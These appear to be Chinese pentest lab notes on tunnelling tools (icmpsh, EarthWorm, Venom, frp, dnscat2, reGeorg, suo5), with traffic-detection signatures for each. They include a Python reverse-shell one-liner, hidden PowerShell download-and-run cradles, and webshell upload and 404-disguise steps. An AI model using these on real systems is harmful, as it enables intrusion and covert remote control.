| ICMP | ping ip/domain |
| HTTP | curl ip or domain |
| DNS | nslookup domain 8.8.8.8 |
| TCP/UDP | telnet ip port |
攻击机器
本机IP:192.168.200.111
kali:192.168.99.129
目标机器
win8:192.168.99.134
第二层网卡:10.10.10.3
win10:10.10.10.4
开启3306
什么是ICMP协议
ICMP(Internet Control Message Protocol,Internet控制报文协议)是Internet协议族中的一个协议,用于在IP网络中传递控制消息和错误报告。ICMP属于TCP/IP协议族中的第三层-网络层协议。
正常情况下,单位时间内数据包发送的数量为一组。
单组数据包Data字段长度,Windows为32 bytes,Linux下为48 bytes,并且请求包和响应包长度相同。
单组数据包Data字段内容中,Windows为abcdefghijklmnopqrstuvwabcdefghi,Linux下为!”#$%&’()+,-./01234567。
数据包Type字段类型为0或者8,表示请求和应答。
在icmpsh中,其交互过程的数据包中请求包和响应包长度明显不相同,并且Data字段内容明显为明文的敏感信息。
在pingtunnel中,明显地,单位时间内数据包的数量过大。
单组数据包Data字段长度非默认长度,并且请求和应答报文的长度也不相同。在单组数据包Data字段内容中,在交互过程存在会话key和明文访问信息
pingtunnel在访问过程会把会话key和访问信息封装到icmp协议的data字段中。
流量检测关键点:
icmpsh是⼀个简单的反向ICMP shell⼯具。与其他类似的开源⼯具相⽐,主要优势在于它不需要管理权限即可在⽬标机器上运⾏。
客户端只能在Windows机器运⾏,服务端可以在任何平台上运⾏。
下载
https://github.com/bdamele/icmpsh
使⽤
kali 192.168.200.129
win8 靶机 192.168.99.135
git clone https://github.com/inquisb/icmpsh.git
#关闭icmp回复,如果要开启icmp回复,该值设置为0
#_因为icmpsh工具要代替系统本身的icmp应答程序,所以需要提前关闭本地系统的icmp应答,否则Shell的运行会不稳定_
sysctl -w net.ipv4.icmp_echo_ignore_all=1
#运⾏,第⼀个IP是VPS的eth0⽹卡IP,第⼆个IP是⽬标机器出⼝的公⽹IP
wget https://bootstrap.pypa.io/pip/2.7/get-pip.py
python2 get-pip.py
#安装impacket
python2 -m pip install impacket
#这里可能报错 使用本地安装
https://github.com/fortra/impacket/releases/tag/impacket_0_11_0
python2 setup.py install
python2 icmpsh_m.py 192.168.99.129 192.168.99.135
-t 主机ip地址以发送ping请求。这个选项是强制性的!
-r 发送⼀个包含字符串“Test1234”的测试icmp请求,然后退出。
-d 毫秒请求之间的延迟(毫秒)
-o 毫秒响应超时(毫秒)。如果没有及时收到回复,从机将增加空⽩计数器。如果该计数器达到某个极限,从机将退出。
如果收到响应,计数器将设置回0。
-b 空⽩数量限制(退出前未答复的icmp请求)
-s 字节最⼤数据缓冲区⼤⼩(字节)
icmpsh.exe -t 192.168.99.129 -d 500 -b 30 -s 128
Pingtunnel 是⼀种通过 ICMP 发送 TCP/UDP 流量的⼯具。其是最流⾏的⼀款ICMP代理⼯具,提供对tcp/udp/sock5流量伪装成icmp流量进⾏转发的功能。需要root或者administrator/system权限。
下载
https://github.com/esrrhs/pingtunnel
-type server 代表开启ICMP SERVER端,等待客户端进⾏连接与通信。
-noprint 1 不在控制台打印⽇志
-nolog 1 不存储⽇志⽂件
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
./pingtunnel -type server -noprint 1 -nolog 1
设置 socks5
pingtunnel.exe -type client -l :4455 -s 192.168.99.129 -sock5 1 -noprint 1 -nolog 1
EarthWorm
ew在建立连接的过程中,数据包存在额外的数据特征“xx xx 00 00 00 00”
客户端发送“01 01 00 00 00 00”
服务端应答“01 02 00 00 00 00”,建立连接。
Venom
未加密下venom在建立连接过程的过程中会先发起系列”00 00 00 00 00 00“
接着通过携带“ABCDEFGH”,来判断是否为venom协议
同时,通过携带“VCMD”,作为协议的数据分割
执行命令过程也为明文信息
使用venom的加密下,只存在较小的特征,如携带的数据全置零
推测,其在只有在不使用端口复用时候,才存在
Stowaway
加密和未加密情况下,除了部分数据加密外,特征并没有发生变化。
stowaway在建立连接过程的过程中客户端会先发起系列”00 00 00 00 00 00“
在服务端确认相同的“会话key”后,客户端发起请求管理端的信息
const ADMIN_UUID = "IAMADMINXD"
const TEMP_UUID = "IAMNEWHERE"
const TEMP_ROUTE = "THEREISNOROUTE"
由于未加密,存在明文信息
在建立连接后,伴随着大量重复ACK确认请求,怀疑是做心跳保持
Frp
1)未添加tls加密下的frp
客户端
[common]
server_addr = 192.168.1.131
server_port = 7000
token = test@123
[socks5]
type = tcp
local_ip = 192.168.3.73
remote_port = 1081
plugin = socks5
plugin_user = test
plugin_passwd = 123
use_encryption = true
use_compression = true
服务端
[common]
bind_port = 7000
token = test@123
客户端携带版本架构等信息向服务端发起请求
服务端回应相关信息
客户端和服务端之间传递会话id和会话key
服务端创建socks5信息
2)添加了tls加密后的frp
客户端
[common]
server_addr = 192.168.1.131
server_port = 7000
token = test@123
tls_enable = true
[socks5]
type = tcp
local_ip = 192.168.3.73
remote_port = 1081
plugin = socks5
plugin_user = test
plugin_passwd = 123
use_encryption = true
use_compression = true
服务端
[common]
bind_port = 7000
token = test@123
添加了tls和加密压缩后的frp在通信过程已经没有了版本信息和会话信息。不过,在建立连接的过程启用tls前,客户端携带“0x17”,请求服务端
利用wireshark详细分析,发现wireshark识别该报文为“Gryphon”协议,“Gryphon”协议为工控协议,用于车用通讯协定
随后,以固定的243字节的TLS-hello报文向服务端发起请求
固定243字节长度的hello报文告诉服务端,frp支持的一系列加密算法套件
服务端选定加密算法,理论上也是90字节大小的TLS-hello报文,向客户端发起应答
随后完成协商过程,建立tls加密通信
EW 是⼀套便携式的⽹络穿透⼯具,具有 SOCKS v5服务架设和端⼝转发两⼤核⼼功能,可在复杂⽹络环境下完成⽹络穿透。
能够以“正向”、“反向”、“多级级联”等⽅式打通⼀条⽹络隧道,直达⽹络深处。
使用
EW共有6 种命令格式(ssocksd、rcsocks、rssocks、lcx_slave、lcx_listen、lcx_tran)
ssocksd:正向代理、rcsocks:流量转发、rssocks:socks5反弹
lcx_slave:端口绑定、lcx_listen:流量转发、lcx_tran:端口转发
lcx_slave 该管道一侧通过反弹方式连接代理请求方,另一侧连接代理提供主机。
lcx_tran 该管道,通过监听本地端口接收代理请求,并转交给代理提供主机。
lcx_listen该管道,通过监听本地端口接收数据,并将其转交给目标网络回连的代理提供主机。
通过组合lcx类别管道的特性,可以实现多层内网环境下的渗透测试。
-l 为服务启动打开一个端口。
-d 设置反弹主机地址。
-e 设置反弹端口。
-f 设置连接主机地址。
-g连接端口设置连接端口。
-t 设置超时的毫秒数。默认值值是1000
| 功能名称 | 对应模块 |
| 正向代理 | ssocksd |
| 反向代理 | rcsocks、rssocks |
| 端口转发 | lcx_listen、lcx_tran、lcx_slave |
目标网络边界存在公网IP且可任意开监听端口:
./ew -s ssocksd -l 8888 // 在 192.168.229.139主机上
通过这个命令开启 8888 端口的 socks 代理
目标网络边界不存在公网 IP,需要通过反弹方式创建socks代理:
./ew -s rcsocks -l 1080 -e 8888 // 在 192.168.229.143的公网主机添加转接隧道,将 1080 收到的代理请求转交给反连 8888 端口的主机
./ew -s rssocks -d 192.168.229.143 -e 8888 // 将目标网络的可控边界主机反向连接公网主机
HackTools 可通过访问 192.168.229.143:1080 端口使用 rssocks 主机提供的 socks5 代理服
A kali 192.168.99.129
B 跳板机 192.168.99.140 10.10.10.20
C 内网 10.10.10.10
获得目标网络内两台主机 B、C 的权限,情况描述如下:
B 主机:存在公网 IP,且自由监听任意端口,无法访问特定资源
C 主机:目标网络内部主机,可访问特定资源,但无法访问公网
B 主机可直连 C 主机
假设拿下B服务器,将工具上传到B服务器上使用
跳板机执行命令
ew_for_Win.exe -s ssocksd -l 8888
攻击机开立开启代理
vim /etc/proxychains.conf
//这里填写的IP是跳板机的IP地址和跳板机上设置的端口
成功访问内网机器的80端口
proxychains4 curl http://10.10.10.10/
A 7766 B 7766 6677 C 6677
先在B机器上执行命令
//跳板机监听7766端口并把流量走6677端口
ew_for_Win.exe -s rcsocks -l 7766 -e 6677
再在C机器上执行命令
//内网机器连接10.10.10.20的6677端口
ew_for_Win.exe -s rssocks -d 10.10.10.20 -e 6677
攻击机开启代理
//本地机器做代理,流量走跳板机的7766端口,就可以访问到C内网
vim /etc/proxychains.conf
主机B
ew -s lcx_tran -l 1080 -f 10.10.10.10 -g 8888
主机C
ew -s ssocksd -l 8888
通过proxifier代理工具访问10.10.10.20:1080
A主机,无公网 IP,无法访问特定资源,可访问外网。
B主机是内部主机,可访问特定资源,却无法回连公网。
A主机可直连B主机。
公网主机
ew -s lcx_listen -e 8888 -l 1080
A主机
ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
B主机
ew -s ssocksd -l 9999
通过proxifier代理工具访问1.1.1.1:1080
主机A(2.2.2.2)、B(2.2.2.3)、C(2.2.2.4),公网VPS(1.1.1.1)。
A主机无公网IP,无法访问特定资源,可访问外网。
B主机无法访问特定资源,无法回连公网。
C主机可访问特定资源,无法回连公网。
A主机可直连B主机,B主机可直连C主机。
VPS
ew -s rcsocks -l 1080 -e 8888
主机A
ew -s lcx_slave -d 1.1.1.1 -e 8888 -f 2.2.2.3 -g 9999
主机B
ew -s lcx_listen -l 9999 -e 7777
主机C
ew -s rssocks -d 2.2.2.3 -e 7777
通过proxifier代理工具访问1.1.1.1:1080
数据流向为socks5代理-> 1080 -> 8888 -> 9999 -> 7777 -> rssocks
下载:https://github.com/Dliv3/Venom/
攻击机器
本机IP:192.168.200.111
kali:192.168.99.129
目标机器
win8:192.168.99.134
第二层网卡:10.10.10.3
win10:10.10.10.4
开启3306
VPS:you-vps-ip
admin_linux_x64 -lport 7000 -passwd qaxNB666
show
goto 1
socks 1088
win8:192.168.99.134
agent.exe -rhost you-vps-ip -rport 7000 -passwd qaxNB666
admin_linux_x64 -lport 7000 -passwd qaxNB666
agent.exe -rhost you-vps-ip -rport 7000 -passwd qaxNB666
此时vps
show
goto 1
socks 1088
利用python的代码执行功能,向表单中注入一段python代码触发反弹shell
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.200.160",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);
Tip:判断主机为Docker容器的两种方法:
方法一:确认根目录下是否存在.dockerenv文件
ls /.dockerenv
方法二:查看/proc/1/cgroup是否存在docker目录
cat /proc/1/cgroup
for i in $(seq 1 10); do ping -c 1 172.17.0.$i; done
在Kali主机Venom管理端可以看到有主机上线
查看、控制Venom节点、启动socks隧道
使用 goto 1 进入到节点 使用 socks 1080 创建socks代理
show
goto 1
socks 1080
挂Socks内网扫描
admin.exe -lport 9999 -passwd dlive@dubhe
agent.exe -rhost 192.168.1.131 -rport 9999 -passwd dlive@dubhe
VPS:120.10.120.X
admin_linux_x64 -lport 4343 -passwd test@123
goto 1
listen 4343
goto 2
listen 4343
主机A:192.168.3.15
agent.exe -rhost 120.10.120.X -rport 4343 -passwd test@123
主机B:192.168.3.30
agent.exe -rhost 192.168.3.15 -rport 4343 -passwd test@123
主机C:192.168.3.160
agent.exe -rhost 192.168.3.30 -rport 4343 -passwd test@123
其功能特性支持:节点间正向/反向连接、节点间支持重连、节点间可通过socks5代理进行连接、节点间可通过ssh隧道连接、节点间流量可选择TCP/HTTP、多级socks5流量代理转发,支持UDP/TCP,IPV4/IPV6、节点支持ssh访问远程主机、远程shell、上传及下载文件、端口本地/远程映射、节点可端口复用、自由开关各类服务、节点间相互认证、节点间流量以AES-256-GCM进行加密。
admin:
参数:
-l 被动模式下的监听地址[ip]:
-s 节点通信加密密钥,所有节点(admin&&agent)必须一致
-c 主动模式下的目标节点地址
--proxy socks5代理服务器地址
--proxyu socks5代理服务器用户名(可选)
--proxyp socks5代理服务器密码(可选)
--down 下游协议类型,默认为裸TCP流量,可选HTTP
agent:
参数:
-l 被动模式下的监听地址[ip]:
-s 节点通信加密密钥
-c 主动模式下的目标节点地址
--proxy socks5代理服务器地址
--proxyu socks5代理服务器用户名(可选)
--proxyp socks5代理服务器密码(可选)
--reconnect 重连时间间隔(s)
--rehost 端口复用时复用的IP地址
--report 端口复用时复用的端口号
--up 上游协议类型,默认为裸TCP流量,可选HTTP
--down 下游协议类型,默认为裸TCP流量,可选HTTP
--cs 运行平台的shell编码类型,默认为utf-8,可选gbk
服务端
./linux_x64_admin -l 9999
use 0
socks 10001
客户端
./linux_x64_agent -c 192.168.99.129:9999
stowaway_admin -l 9999 -s test@123
stowaway_agent -c 192.168.1.131:9999 -s test@123
在stowaway中,组成多级网络需要借助admin中的listen、connect、 sshtunnel命令来实现
admin:
./stowaway_admin -l 9999 -s 123
agent-1:
./stowaway_agent -c 127.0.0.1:9999 -s 123
agent-2:
./stowaway_agent -l 10000 -s 123
通过admin,输入use 0 -> connect agent-2的IP:10000来将其加入网络,并成为agent-1的一个子节点
agent-3:
./stowaway_agent -c 127.0.0.1:10001 -s 123
通过admin,输入use 0 -> listen -> 选择1.Normal Passive -> 输入10001 从而使得agent-1监听在10001端口上,并等待子节点的连接
https://github.com/fatedier/frp/blob/dev/conf/frpc_full_example.toml
[common]
bind_port = 7000
token = qaxNB666
./frps -c frps.ini
[common]
server_addr = 192.168.1.131
server_port = 7000
token = qaxNB666
[socks5]
type = tcp
remote_port = 1081
plugin = socks5
plugin_user = locks
plugin_passwd = locks
use_encryption = true
use_compression = true
进入到C2中上传frpc
cd C:\Windows\Temp\ 移动到上传的位置
shell dir 查看是否正确位置
shell frpc.exe -c frpc.ini 执行frpc
Udp2raw
利用udp2raw技术构建的隧道,目前在流量上未发现明显的特征
其支持心跳保活、自动重连,重连后会恢复上次连接,在底层掉线的情况下可以保持上层不掉线。同时有加密、防重放攻击、信道复用的功能。
在server端运行:
./udp2raw_amd64 -s -l0.0.0.0:4096 -r127.0.0.1:7777 -k "passwd" --raw-mode faketcp --cipher-mode xor -a
在client端运行:
./udp2raw_amd64 -c -l0.0.0.0:3333 -r192.168.99.129:4096 -k "passwd" --raw-mode faketcp --cipher-mode xor -a
此时,已成功通过TCP端口4096在客户端和服务器端之间建立了一条经过加密的通信隧道。在客户端通过UDP端口3333连接,等同于在服务器端连接端口7777。
如果你需要在Android端运行的话,请参考【教程https://github.com/wangyu-/udp2raw-tunnel/blob/master/doc/android\_guide.md】
直连模式下,dnscat2存在明显的连接特征
中继模式下的dnscat2,除开携带域名信息外,无其他明显流量特征
除了域名信息外,单位时间内dns数据包的发送频率也可以当作特征处理。
使用dnscat2隧道的模式有两种,分别是直连模式和中继模式。
直连模式:客户端直接向指定IP地址的DNS服务器发起DNS解析请求
中继模式:DNS经过互联网的迭代解析,指向指定的DNS服务器。
dnscat2 客户端在使用前需要进行编译才能使用,在 Windows 中可以使用 VS 进行编译或者直接使用 PowerShell 的版本,Linux 中可以使用 make install 进行编译。
Linux 下可以通过以下方法进行编译
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/client/
make
Windows 可以直接下载已经编译好的版本
exe 版(解压密码:password):
https://downloads.skullsecurity.org/dnscat2/dnscat2-v0.07-client-win32.zip
PowerShell 版:https://github.com/lukebaggett/dnscat2-powershell
如果使用 PowerShell 版,可以直接使用下面的命令导入,在实际情况中,也更推荐使用 PowerShell 版的,毕竟隐蔽性要更好些。
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1')
或者下载 ps1 文件后,使用以下命令导入
Import-Module .\dnscat2.ps1
-s 指定 dns 服务端口
-c 指定连接密码
--no-cache 禁止缓存,添加该项为了使和 PowerShell 版本的 dnscat2 兼容
ruby ./dnscat2.rb -s 553 -c password --no-cache
**启动客户端**,这里以 Windows 下的 exe 版为例
连接成功后,会提示 `Session established!`
dnscat2-client.exe --dns server=192.168.1.133,port=553 --secret=password
sessions 或 windows 查看当前会话
session -i 1 或 window -i 1 进入 ID 为 1 的会话
shell 建立交互式会话
exec 远程打开程序
download 下载文件
help 查看支持的命令
sessions
window -i 1
shell
session -i 2
在中继模式下,需要自己有一个域名,并添加两条域名解析记录。
首先创建一条 A 记录指向自己的公网 VPS 地址,之后创建一条 ns 记录指向 A 记录的子域名,示例如下:
如果想要判断自己的解析记录是否设置成功,可以通过以下方法进行判断。
A 记录:直接通过 nslookup 进行判断,如果解析出了 IP 说明该项配置正确。
nslookup ns1.teamssix.com
ns 记录:在公网 VPS 上开启抓包,再nslookup dc.teamssix.com,如果在 VPS 上看到对应的流量记录,说明该项配置正确。
sudo tcpdump -n -i eth0 udp dst port 53
#-e 指定安全级别,open 表示服务端允许客户端不进行加密
如果提示`Address already in use - bind(2) for "0.0.0.0" port 53`,可以关闭`systemd-resolved`
sudo systemctl stop systemd-resolved
ruby ./dnscat2.rb www.dnstuneltest.com -c password --no-cache -e open
dnscat2-client.exe --dns domain=www.dnstuneltest.com --secret=password
也可以用powershell
开启客户端,这里以 Windows 下的 PowerShell 版为例
start-Dnscat2 -Domain dc.teamssix.com -PreSharedSecret teamssix -DNSServer vps_ip
也可以把导入的命令和开启客户端的命令放在一起
powershell.exe -nop -w hidden -c {IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');start-Dnscat2 -Domain dc.teamssix.com -PreSharedSecret teamssix -DNSServer vps_ip}
在利用ssh进行隧道转发的过程中,除第一个数据包会出现机器的用户名外,在流量过程中无其他明显指纹
kali 连接 192.168.99.129
ubuntu ssh 192.168.99.132
-C:压缩传输,提高传输速度
-f :将ssh传输转入后台执行,不占用当前的shell
-N:建立静默连接(建立了连接,但是看不到具体的会话)
-g 允许远程主机连接本地用于转发的端口。
-L:本地端口转发
-R:远程端口转发
-D:动态转发(socks代理)
-P:指定ssh端口
sudo ssh -N -f -L 192.168.99.129:4444:192.168.99.132:22 192.168.99.129
kali 129
win10 131
sudo ssh -N -f -L 192.168.99.129:10086:192.168.99.131:3389 192.168.99.129
tunnel
页面特征
连接报文特征
**reGeog&**Neo-reGeorg**
对于reGeog,其默认的页面特征为
从流量报文上看,也具有一定的特征信息
Neo-reGeog的页面信息
Neo-reGeog的流量报文
ABPTTS
abptts页面特征
查看报文特征
suo5流量特征
在未魔改的情况下,在suo5与webshell脚本建立连接时,测试连接是否通畅的请求报文中Content-Type 的值为 application/plain
测试报文使用POST请求方式,报文载荷携带验证数据。数据大小固定为64字节。当webshell文件被成功解析时,会将发送过来的字符串前32字节返回来通知客户端连接已成功建立。
suo5工具在连接时可选两种模式,分别为:全双工模式、半双工模式。在工具界面可选自动,默认为全双工
在suo5的连接模式为全双工时,Content-Type的值为application/octet-stream
在反向代理的场景下,应当使用该工具的半双工模式。
在suo5的连接模式为半双工时,Content-Type的值为application/x-binary;请求报文为POST请求方式。加密数据存放在报文载荷中。每次传输数据时都会重新发起一次请求。
| 1 <br>2 <br>3 <br>4 <br>5 <br>6 <br>7 | -l 表示本地监听的端口 <br>-r 远程要转发的端口 <br>-v 详细模式 <br>-b 请求大小 <br>-s 首先启动 pinging 线程 - 一些服务首先发送数据(例如 SSH) <br>-C 请求 cookie <br>-t 基本认证 |
VPS执行
python2 proxy.py -u http://192.168.99.135:81/conn.aspx -l 1234 -a 192.168.99.135 -r 3389
目标机器
python2 proxy.py -u http://192.168.99.135:81/conn.aspx -l 1234 -r 3389 –v
vps
python2 proxy.py -u http://192.168.99.132/conn.php -l 1234 -a 192.168.99.132 -r 22 -v -s
目标机器
python2 proxy.py -u http://192.168.99.132/conn.php -l 1234 -r 22 -v -s
介绍
reGeorg是reDuh的继承者,其主要是把内网服务器的端口通过http/https构建成隧道的一款工具。
下载
https://github.com/sensepost/reGeorg
https://github.com/L-codes/Neo-reGeorg
使用
python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/tunnel.jsp
Neo-reGeorg是一个旨在积极重构reGeorg的项目,目的是:提高 tunnel 连接安全性、提高可用性,避免特征检测、提高传输内容保密性、应对更多的网络环境场景。
Neo-reGeorg支持:
1、传输内容经过变形 base64 加密,伪装成 base64 编码
2、直接请求响应可定制化 (如伪装的404页面)
3、HTTP Headers 的指令随机生成,避免特征检测
4、HTTP Headers 可定制化
5、自定义 HTTP 响应码
6、多 URL 随机请求
7、服务端 DNS 解析
8、兼容 python2 / python3
9、服务端环境的高兼容性
(仅 php) 参考 pivotnacci 实现单 Session 创建多 TCP 连接,应对部分负载均衡场景
aspx/ashx/jsp/jspx 已不再依赖 Session,可在无 Cookie 等恶劣环境正常运行
(非 php) 支持内网转发,应对负载均衡环境
使用方法
python3 neoreg.py generate -k password
python3 neoreg.py -k password -u http://xx/tunnel.php
python neoreg.py generate -k --file 404.html --httpcode 404
python neoreg.py -k -u --skip
python neoreg.py -k -u --proxy socks5://10.1.1.1:8080
python neoreg.py -k -u -H 'Authorization: cm9vdDppcyB0d2VsdmU=' --cookie "key=value;key2=value2"
python3 neoreg.py generate -k Netw@rk123
将生成的shell文件上传至目标服务器。
上传后访问路径,如果显示如下空白则代表没有问题,直接做代理
python3 neoreg.py -k Netw@rk123 -p 1099 -u http://192.168.99.133/DVWA/hackable/uploads/tunnel.php
随后即可将代理指向至代理服务器地址后,即可访问内网资源。
将shell页面伪装成404页面 先访问个404页面,像下面显示,会列出路径,那么我们在上传之前就先访问下我们shell上传的路径,会 出一个真实404页面,然后我们再右键页面另存为保存到本地,--file参数 指定我们保存出来的404页面
就后面路径瞎几把打乱码就行
python3 neoreg.py generate -k Netw@rk123 --file /root/Neo-reGeorg-5.2.0/404.html --httpcode 404
随后shell上传后,直接访问页面会与404页面相似,或许理解成俄罗斯走位就行了。
启动socks代理
这里要加--skip,不然就会认为这是404页面,连接不上
python3 neoreg.py -k Netw@rk123 -p 1099 -u http://192.168.99.133/DVWA/hackable/uploads/tunnel.php --skip
也可以
python neoreg.py -k -u --proxy socks5://10.1.1.1:8080
python neoreg.py -k -u -H 'Authorization: cm9vdDppcyB0d2VsdmU=' --cookie "key=value;key2=value2"
介绍
ABPTTS是NCC Group在2016年blackhat推出的一款将TCP流量通过HTTP/HTTPS进行流量转发的工具。
使用
git clone https://github.com/nccgroup/ABPTTS.git
pip install pycryptodome
pip install httplib2
#报错可以用
pip install -i https://pypi.tuna.tsinghua.edu.cn/simple pycryptodome
本地安装httplib2
https://pypi.org/project/pycryptodome/#files
tar -xzvf httplib2-0.22.0.tar.gz
cd httplib2-0.22.0
import importlib
python2 setup.py install
python2 -c "import httplib2; print(httplib2.__version__)
pip2 install pyparsing
服务端
#生成对应webshell
python2 abpttsfactory.py -o webshell
客户端
上传webshell
#把目标主机的3389端口转发到本地的7777端口
python2 abpttsclient.py -c webshell/config.txt -u "http://192.168.99.135:81/abptts.aspx" -f 192.168.99.129:7777/127.0.0.1:3389
Suo5是一个全新的 HTTP 代理隧道,基于HTTP/1.1的Chunked-Encoding构建。相比Neo-reGeorg等传统隧道工具,suo5的性能可以达到其数十倍。查看性能测试。
其主要特性如下:
下载地址:https://github.com/zema1/suo5
将suo5.aspx文件上传到靶机shell里面去,默认默认开放的是1111端口
打开对应的gui文件进行代理设置
如果电脑是linux
最简单的只需指定连接目标
./suo5-linux-amd64 -t http://x.x.x.90:8080/suo5.jsp
使用 GET 方法发送请求,有时可以绕过限制
./suo5-linux-amd64 -m GET -t http://x.x.x.x:8080/suo5.jsp
如果要做中转VPS
VPS 自定义 socks5 监听在 0.0.0.0:1080,并自定义认证信息为 test:test123
./suo5-linux-amd64 -t http://x.x.x.x:8080/suo5.jsp -l 0.0.0.0:1080 --auth test:Test123456
本地计算机
使用prioxier或者其他工具连接VPS的1080端口即可
数据传输使用HTTP报文进行。使用请求方式均为POST。需要传输的数据会经过加密后放在请求和响应报文的载荷部分。
suo5工具在使用HTTP协议时默认的用户代理字段为User-Agent:Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.1.2.3。可以通过工具的交互界面中高级配置选项来对默认的请求头进行修改。
以frp作为案例
端口检测、进程检测、网络检测、文件检测、行为检测、流量检测、日志检测
端口检测:默认配置下,frp的服务端端口为7000
进程检测:从进程上看,frp的进程名称非常明显
流量检测:默认配置下,frp的建立连接过程和心跳维持过程都存在较为明显的特征。
添加tls加密后,frp在协商前存在0x17的协议头部特征